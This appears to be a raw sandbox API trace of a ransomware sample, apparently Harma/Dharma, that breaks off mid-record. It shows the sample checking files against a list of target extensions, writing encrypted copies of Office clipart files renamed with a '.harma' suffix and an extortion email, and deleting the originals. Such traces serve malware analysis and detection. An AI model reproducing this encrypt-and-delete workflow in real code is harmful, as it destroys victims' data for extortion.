1 [0150.393] lstrlenW (lpString=".rar") returned 4 [0150.393] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.393] lstrlenW (lpString=".bz2") returned 4 [0150.393] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.393] lstrlenW (lpString=".7z") returned 3 [0150.393] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0150.393] lstrlenW (lpString=".dbf") returned 4 [0150.393] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0150.393] lstrlenW (lpString=".1cd") returned 4 [0150.393] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0150.393] lstrlenW (lpString=".jpg") returned 4 [0150.393] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0150.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0150.394] lstrlenW (lpString=".doc") returned 4 [0150.394] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.394] lstrlenW (lpString=".docx") returned 5 [0150.394] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.394] lstrlenW (lpString=".pdf") returned 4 [0150.394] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.394] lstrlenW (lpString=".xls") returned 4 [0150.394] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.394] lstrlenW (lpString=".xlsx") returned 5 [0150.394] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.394] lstrlenW (lpString=".ppt") returned 4 [0150.394] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0150.394] lstrlenW (lpString=".zip") returned 4 [0150.394] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.394] lstrlenW (lpString=".rar") returned 4 [0150.394] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.394] lstrlenW (lpString=".bz2") returned 4 [0150.394] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.394] lstrlenW (lpString=".7z") returned 3 [0150.394] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0150.394] lstrlenW (lpString=".dbf") returned 4 [0150.394] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0150.394] lstrlenW (lpString=".1cd") returned 4 [0150.394] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0150.395] lstrlenW (lpString=".jpg") returned 4 [0150.395] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.395] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0150.395] lstrlenW (lpString="DD01138_.WMF") returned 12 [0150.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0150.395] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=3692) returned 1 [0150.396] CloseHandle (hObject=0x360) returned 1 [0150.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf")) returned 0x20 [0150.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0150.396] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.396] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0150.397] GetLastError () returned 0x0 [0150.397] ReadFile (in: hFile=0x360, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0xe6c, lpOverlapped=0x0) returned 1 [0150.467] WriteFile (in: hFile=0x378, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xe70, lpOverlapped=0x0) returned 1 [0150.468] ReadFile (in: hFile=0x360, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0150.468] WriteFile (in: hFile=0x378, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.468] SetEndOfFile (hFile=0x378) returned 1 [0150.468] CloseHandle (hObject=0x378) returned 1 [0150.468] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.468] SetEndOfFile (hFile=0x360) returned 1 [0150.470] CloseHandle (hObject=0x360) returned 1 [0150.471] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.483] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf")) returned 1 [0150.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0150.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0150.695] lstrlenW (lpString=".doc") returned 4 [0150.695] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.695] lstrlenW (lpString=".docx") returned 5 [0150.695] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.695] lstrlenW (lpString=".pdf") returned 4 [0150.695] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.695] lstrlenW (lpString=".xls") returned 4 [0150.695] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.695] lstrlenW (lpString=".xlsx") returned 5 [0150.695] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.695] lstrlenW (lpString=".ppt") returned 4 [0150.695] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0150.695] lstrlenW (lpString=".zip") returned 4 [0150.695] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.695] lstrlenW (lpString=".rar") returned 4 [0150.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.695] lstrlenW (lpString=".bz2") returned 4 [0150.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.695] lstrlenW (lpString=".7z") returned 3 [0150.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0150.695] lstrlenW (lpString=".dbf") returned 4 [0150.695] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0150.696] lstrlenW (lpString=".1cd") returned 4 [0150.696] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0150.696] lstrlenW (lpString=".jpg") returned 4 [0150.696] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0150.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0150.696] lstrlenW (lpString=".doc") returned 4 [0150.696] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.696] lstrlenW (lpString=".docx") returned 5 [0150.696] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.696] lstrlenW (lpString=".pdf") returned 4 [0150.696] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.696] lstrlenW (lpString=".xls") returned 4 [0150.696] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.696] lstrlenW (lpString=".xlsx") returned 5 [0150.696] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.696] lstrlenW (lpString=".ppt") returned 4 [0150.696] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0150.696] lstrlenW (lpString=".zip") returned 4 [0150.696] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.696] lstrlenW (lpString=".rar") returned 4 [0150.696] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.696] lstrlenW (lpString=".bz2") returned 4 [0150.696] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.696] lstrlenW (lpString=".7z") returned 3 [0150.696] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0150.697] lstrlenW (lpString=".dbf") returned 4 [0150.697] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0150.697] lstrlenW (lpString=".1cd") returned 4 [0150.697] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0150.697] lstrlenW (lpString=".jpg") returned 4 [0150.697] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.697] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0150.697] lstrlenW (lpString="DD01146_.WMF") returned 12 [0150.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0150.713] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=2796) returned 1 [0150.713] CloseHandle (hObject=0x388) returned 1 [0150.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf")) returned 0x20 [0150.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0150.714] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.714] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0150.715] GetLastError () returned 0x0 [0150.715] ReadFile (in: hFile=0x388, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0xaec, lpOverlapped=0x0) returned 1 [0150.743] WriteFile (in: hFile=0x33c, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xaf0, lpOverlapped=0x0) returned 1 [0150.744] ReadFile (in: hFile=0x388, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0150.744] WriteFile (in: hFile=0x33c, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.744] SetEndOfFile (hFile=0x33c) returned 1 [0150.744] CloseHandle (hObject=0x33c) returned 1 [0150.744] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.744] SetEndOfFile (hFile=0x388) returned 1 [0150.746] CloseHandle (hObject=0x388) returned 1 [0150.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.747] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf")) returned 1 [0150.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0150.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0150.748] lstrlenW (lpString=".doc") returned 4 [0150.748] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.748] lstrlenW (lpString=".docx") returned 5 [0150.748] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.748] lstrlenW (lpString=".pdf") returned 4 [0150.748] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.748] lstrlenW (lpString=".xls") returned 4 [0150.748] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.748] lstrlenW (lpString=".xlsx") returned 5 [0150.748] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.748] lstrlenW (lpString=".ppt") returned 4 [0150.748] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0150.748] lstrlenW (lpString=".zip") returned 4 [0150.748] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.748] lstrlenW (lpString=".rar") returned 4 [0150.748] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.748] lstrlenW (lpString=".bz2") returned 4 [0150.748] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.748] lstrlenW (lpString=".7z") returned 3 [0150.748] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0150.748] lstrlenW (lpString=".dbf") returned 4 [0150.748] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0150.748] lstrlenW (lpString=".1cd") returned 4 [0150.749] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0150.749] lstrlenW (lpString=".jpg") returned 4 [0150.749] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0150.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0150.749] lstrlenW (lpString=".doc") returned 4 [0150.749] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.749] lstrlenW (lpString=".docx") returned 5 [0150.749] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.749] lstrlenW (lpString=".pdf") returned 4 [0150.749] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.749] lstrlenW (lpString=".xls") returned 4 [0150.749] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.749] lstrlenW (lpString=".xlsx") returned 5 [0150.749] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.749] lstrlenW (lpString=".ppt") returned 4 [0150.749] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0150.749] lstrlenW (lpString=".zip") returned 4 [0150.749] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.749] lstrlenW (lpString=".rar") returned 4 [0150.749] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.749] lstrlenW (lpString=".bz2") returned 4 [0150.749] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.749] lstrlenW (lpString=".7z") returned 3 [0150.749] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0150.749] lstrlenW (lpString=".dbf") returned 4 [0150.750] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0150.750] lstrlenW (lpString=".1cd") returned 4 [0150.750] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0150.750] lstrlenW (lpString=".jpg") returned 4 [0150.750] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.750] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0150.750] lstrlenW (lpString="DD01160_.WMF") returned 12 [0150.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0150.767] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=2228) returned 1 [0150.767] CloseHandle (hObject=0x21c) returned 1 [0150.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf")) returned 0x20 [0150.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0150.771] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.771] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0150.772] GetLastError () returned 0x0 [0150.772] ReadFile (in: hFile=0x21c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x8b4, lpOverlapped=0x0) returned 1 [0150.826] WriteFile (in: hFile=0x2e8, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x8c0, lpOverlapped=0x0) returned 1 [0150.827] ReadFile (in: hFile=0x21c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0150.827] WriteFile (in: hFile=0x2e8, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.827] SetEndOfFile (hFile=0x2e8) returned 1 [0150.827] CloseHandle (hObject=0x2e8) returned 1 [0150.828] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.828] SetEndOfFile (hFile=0x21c) returned 1 [0150.830] CloseHandle (hObject=0x21c) returned 1 [0150.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.831] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf")) returned 1 [0150.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0150.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0150.832] lstrlenW (lpString=".doc") returned 4 [0150.832] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.832] lstrlenW (lpString=".docx") returned 5 [0150.832] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.832] lstrlenW (lpString=".pdf") returned 4 [0150.832] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.832] lstrlenW (lpString=".xls") returned 4 [0150.832] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.832] lstrlenW (lpString=".xlsx") returned 5 [0150.832] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.832] lstrlenW (lpString=".ppt") returned 4 [0150.832] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0150.832] lstrlenW (lpString=".zip") returned 4 [0150.832] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.832] lstrlenW (lpString=".rar") returned 4 [0150.832] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.832] lstrlenW (lpString=".bz2") returned 4 [0150.832] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.832] lstrlenW (lpString=".7z") returned 3 [0150.832] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0150.833] lstrlenW (lpString=".dbf") returned 4 [0150.833] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0150.833] 